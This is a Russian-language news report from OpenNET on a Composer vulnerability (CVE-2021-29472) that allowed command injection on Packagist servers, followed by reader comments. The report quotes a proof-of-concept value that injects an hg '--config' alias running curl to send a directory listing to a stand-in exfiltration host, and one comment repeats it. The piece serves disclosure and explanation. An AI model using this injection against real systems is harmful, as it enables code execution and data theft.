The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist

03.05.2021 08:24

В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13.

Особо отмечается, что проблема главным образом затронула по умолчанию применяемый в Composer репозиторий пакетов Packagist, насчитывающий 306 тысяч пакетов для разработчиков на языке PHP и ежемесячно обслуживающий более 1.4 миллиарда загрузок. В ходе эксперимента показано, что в случае наличия сведений о проблеме атакующие могли бы получить контроль над инфраструктурой Packagist и перехватить учётные данные сопровождающих или перенаправить загрузку пакетов на сторонний сервер, организовав доставку вариантов пакетов с вредоносными изменениями для подстановки бэкдора в процессе установки зависимостей.

Опасность для конечных пользователей ограничивается тем, что содержимое composer.json обычно определяется самим пользователем, а ссылки на исходные тексты передаются при обращении к сторонним репозиториям, обычно заслуживающим доверия. Основной удар пришёлся на репозиторий Packagist.org и сервис Private Packagist, вызывающие Composer с передачей данных, полученных от пользователей. Злоумышленники могли выполнить свой код на серверах Packagist разместив специально оформленный пакет.

Команда Packagist устранила уязвимость в течение 12 часов после поступления сообщения об уязвимости. Исследователи в частном порядке уведомили разработчиков Packagist 22 апреля и в тот же день проблема была исправлена. Публичное обновление Composer с устранение уязвимости было опубликовано 27 апреля, а детали были раскрыты 28 апреля. Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.

Проблема вызвана ошибкой в коде проверки корректности URL в корневом файле composer.json и ссылках для загрузки исходных текстов. Ошибка присутствует в коде с ноября 2011 года. В Packagist для организации загрузки кода без привязки к конкретной системе управления исходными текстами применяются специальные прослойки, которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки. Например, для git вызывается команда "git ls-remote --heads $URL", где URL обработан при помощи метода "ProcessExecutor::escape($url)", экранирующего потенциально опасные конструкции, такие как "$(...)" или "`...`".

Суть проблемы в том, что метод ProcessExecutor::escape не экранировал последовательность "--", что позволяло указать в URL любой дополнительный параметр вызова. Подобное экранирование отсутствовало в драйверах GitDriver.php, SvnDriver.php и HgDriver.php. Атаке через GitDriver.php мешало то, что команда "git ls-remote" не поддерживала указание дополнительных аргументов после пути. Возможной оказалась атака на HgDriver.php через передачу параметра "--config" утилите "hq", позволяющего организовать выполнение любой команды через манипуляцию с настройкой "alias.identify". Например, для загрузки и выполнения кода через запуск утилиты curl можно было указать:


   --config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”

Разместив в Packagist тестовый пакет с подобным URL, исследователи убедились, что после размещения на их сервер поступил HTTP-запрос с одного из серверов Packagist в AWS, содержащий листинг файлов в текущем каталоге.

  1. Главная ссылка к новости (https://blog.sonarsource.com/p...)
  2. OpenNews: Атаковавшие SolarWinds смогли получить доступ к коду Microsoft (дополняется)
  3. OpenNews: Подтверждён факт взлома инфраструктуры проекта PHP
  4. OpenNews: Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний
  5. OpenNews: Отчёт о компрометации git-репозитория и базы пользователей проекта PHP
  6. OpenNews: Уязвимость, позволяющая удалённо выполнить код на сервере PHP-репозитория Packagist
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/55065-composer
Ключевые слова: composer, packagist
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (59) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Онаним (?), 09:24, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Это не баг, это фича.
     
     
  • 2.2, Онаним (?), 09:25, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +9 +/
    (СtI/CtD = continous trojan integration / continuous trojan deployment)
     

  • 1.3, Аноним (3), 09:43, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    > ежемесячно обслуживающий более 1.4 миллиарда загрузок

    Кто все эти люди? Индусы и китайцы? И это какой-то реально полезный софт?

     
     
  • 2.5, Онаним (?), 09:52, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    В основном это автоматические деплоеры, которым абсолютно пофиг, сколько там троянов внутри.
     
     
  • 3.9, Анто769ним (?), 10:17, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А деплоят они на локалхост, ага
     
  • 2.24, Аноним (24), 11:17, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Куча биллингов написано на php, у меня на работе, у мужа на прошлой работе, на новой crm. Все они используют композер.
    Все используют композер если программируют на php, это тоже самое что maven для java.
     
     
  • 3.41, Онаним (?), 13:47, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    "Все используют" - слишком распространённое заблуждение.
     

  • 1.4, Аноним (4), 09:44, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Картина Репина: похапешники и безопасность
     
     
  • 2.6, Онаним (?), 09:53, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Я бы сказал, девляпсы и безопасность.
    Композер долго держался молодцом сравнительно со всякими npm.
     
     
  • 3.11, пох. (?), 10:50, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    При комм....pear такого не было.

    Потому что было как-то немодно тянуть в рот любую какашку с шитхаба. Но для обезьянок это было слишком сложно и замороченно.

     
     
  • 4.25, Dzen Python (ok), 11:18, 03/05/2021 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 4.32, имя_ (?), 12:10, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    при пир такого не было, только потому что сам пир был полухдохлый
     
  • 3.39, Lex (??), 12:56, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Так и с npm'ом все в порядке..
    Для понимания разницы, уязвимость нашли не в конечном пакете которых горы, а в самом пакетном менеджере [для пыха]
     
     
  • 4.69, Онаним (?), 22:37, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    C npm было ещё хуже, в нём package-manager-agnostic дырень проявилась.
    Которая задела не только npm, а все недопакетные недоменеджеры по касательной.
    Потому что сама платформа изначально делана кривыми ногами.

    CVE-2019-16776
    CVE-2019-16777

     
  • 2.28, Аноним (28), 11:32, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –3 +/
    Сделай лучше, фуле!
     

  • 1.7, user90 (?), 09:59, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    PornDriver
     
     
  • 2.22, Dzen Python (ok), 11:13, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    PornHubDriver
     

  • 1.10, Аноним (10), 10:35, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    Драйверы. На пхп.
     
     
  • 2.13, Аноним (13), 10:58, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Дело не в PHP Такой же баг был бы на любом языке. Дело в подходе вызывать зависимости через командную строку. Это всегда дыряво. Нельзя гарантированно заэкранировать всё. С SQL это поняли и перестали пытаться экранировать. В мире linux где всё состоит из отдельных консольных программ, которые вызывают друг друга через командную строку это распространённая практика, от которой ещё долго будут отвыкать. Так что увы. Подобные баги будут повторяться.
     
     
  • 3.20, Аноним (20), 11:11, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.
     
     
  • 4.26, Аноним (24), 11:27, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Просто нужно чтобы программы писали анонимные эксперты с opennet, а не каким-то вебмакакам. Анонимные эксперты на то и эксперты что у них руки не из задницы ростут.
     
     
  • 5.34, Аноним (34), 12:34, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ну мааам
     
  • 5.36, Dzen Python (ok), 12:41, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Да не вопрос, чувак. У тебя есть деньги на то, чтобы писали именно анонимные эксперты с опеннета? Со всеми проверками, тестированием, без постоянных сроков "надо было еще вчера" и без очешуительных правок в самый последний момент? Что такое, что мордочку-то скривил?
     
     
  • 6.74, Аноним (74), 08:36, 05/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    За деньги я и сама могу.
     
  • 6.75, Аноним (74), 09:18, 05/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    То есть вы предлагаете оплатить исправление уже исправленой уязвимости, оплатить неизвестно кому, кто с 99.9% вероятностью ничего сложного на php не писал, при этом с бесконечными сроками?

    И вообще, сколько комитов вы уже сделали в composer? Покажите их.

     
     
  • 7.76, Dzen Python (ok), 14:38, 06/05/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.
    > Кудох-тох-тох, эти анонимные эксперты с опеннета

    Ты так и не понял, к чему это было написано, горе-разраб...

    > И вообще, сколько комитов вы уже сделали в composer? Покажите их.

    Разраб композера, залогинься. Все равно у меня длиннее - не в коммитах, а в нормальных сантиметрах.

     
     
  • 8.77, Аноним (74), 09:29, 07/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми собра... текст свёрнут, показать
     
     
  • 9.78, Dzen Python (ok), 21:27, 07/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Надо понимать, что ты не оставляешь надежды померяться коммитами ... текст свёрнут, показать
     
  • 5.42, Онаним (?), 13:49, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Анонимные эксперты их собственно и пишут, просто в такие вот сводки обычно не попадают, потому что и область собственно распространения поуже "широкой макакопублики", и маразмов поменьше.
     
  • 3.21, Dzen Python (ok), 11:12, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Альтернативы?
    - Монолитный блоатварь, где все эти утилиты слеплены воедино? И страдать, если встроенный в код аналог grep'а нельзя заменить на ZZZgrep, умеющий фичу YYY, облегчающий в сценарии XXX работу, убирая много строк потенциально опасного шеллкода?
    - RPC, который ломается точно так же?
     
     
  • 4.29, Аноним (13), 11:38, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не вчитывался подробно и не знаю особенностей php, но насколько я понимаю нечто подобное этому
    https://github.com/libgit2/php-git решило бы проблему.
    php-git2 is a PHP bindings to the libgit2 linkable C Git library.


     

  • 1.12, Аноним (13), 10:54, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >> Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.
    >> Ошибка присутствует в коде с ноября 2011 года.

    Прям с 2011 года весь аудит просмотрели?

     
     
  • 2.19, Аноним (19), 11:09, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Грепнули логи, делов то
     

  • 1.14, Анонин (?), 10:59, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Неуязвимых не бывает.
     
  • 1.15, Аноним (13), 11:00, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    >> В менеджере зависимостей Composer выявлена критическая уязвимость, позволяющая выполнить произвольные команды в системе при обработке

    пакета

    npm postinstall:  Уязвимость? о_О Фух, показалось...

     
     
  • 2.18, Аноним (18), 11:07, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Даже например deb пакеты такое умеют.
     

  • 1.16, Аноним (18), 11:03, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    Чето в голос.
     
  • 1.17, Dzen Python (ok), 11:07, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    Никогда такого не было и вот опять...
     
  • 1.23, Аноним (23), 11:16, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    все эти composer, pip, npm для идиотов которые не знают что такое git submodules
     
     
  • 2.27, Аноним (27), 11:28, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +7 +/
    лучше покажи мне дурачка который будет использовать git submodules вместо pip, таких даже среди клинических больных поискать придётся
     
     
  • 3.30, Аноним (23), 11:44, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Любой вменяемый даже если и использует всю эту дрянь, то только чтобы скачать и тут же закрепить в submodules
     
  • 3.45, anonymous (??), 14:45, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Возможно вам понравится Go. Ибо он тупо переиспользует git для удалённых зависимостей.
     
  • 2.33, hshhhhh (ok), 12:23, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Все эти менеджеры зависимостей в линуксе для тех кто не осилил wget
     
     
  • 3.35, YetAnotherOnanym (ok), 12:38, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    И не осилил собственную графовую БД для зависимостей. Слабаки!
     
     
  • 4.37, пох. (?), 12:42, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Лошье! Только бумага и карандаш! Никаких БД!
    Все зависимости должны быть отрисованы вручную и подписаны экспертом!

     
     
  • 5.48, Аноним (48), 15:20, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Нужно создать единое министерство зависимостей. И ввести ответственность за выдачу заведомо ложных зависимостей.
     
  • 5.59, макпыф (ok), 17:50, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    я предпочитаю хранить все в голове
     
     
  • 6.67, hshhhhh (ok), 21:10, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +/
    всё ещё на слакваре?
     
     
  • 7.68, макпыф (ok), 21:13, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > всё ещё на слакваре?

    lfs

     
  • 6.72, пох. (?), 20:21, 04/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А что, готишно... Свиток с графом зависимостей, аккуратно свешивающийся из стоящего на полке черепа... товарищмайор, возможно, не совсем одобряют охоту за головами, но, с другой стороны, много ведь и не надо. А этим, из "Сети", пару голов ведь простили и отпустили... это ж не грибы на погибель мировому империализму растить, а просто пара подвернувшихся под руку неудачников...

    Я бы штук семь, пожалуй, собрал, для красивого числа.

     

  • 1.31, YetAnotherOnanym (ok), 11:59, 03/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    > curl http://exfiltration-host.tld --data “$(ls -alh)

    Ыыыы... какая прелесть!
    > в тот же день проблема была исправлена

    Одного меня настораживает такая скорость?

     
     
  • 2.49, Аноним (49), 15:30, 03/05/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Одного меня настораживает такая скорость?

    Да.

     

  • 1.43, Анин (?), 14:16, 03/05/2021 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –1 +/
     

     ....ответы скрыты (5)

  • 1.79, Аноним (79), 21:34, 10/05/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки.

    Уж сколько раз твердили миру:

    юзайте API || RPC || передавайте аргументы через конфиг-файл/трубу || реализуйте, еслине реализовано || GTFO.

    Но there is a sucker born every minute, желающие и ведущиеся на лёгкие пути не мамонты и не вымрут никогда.

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру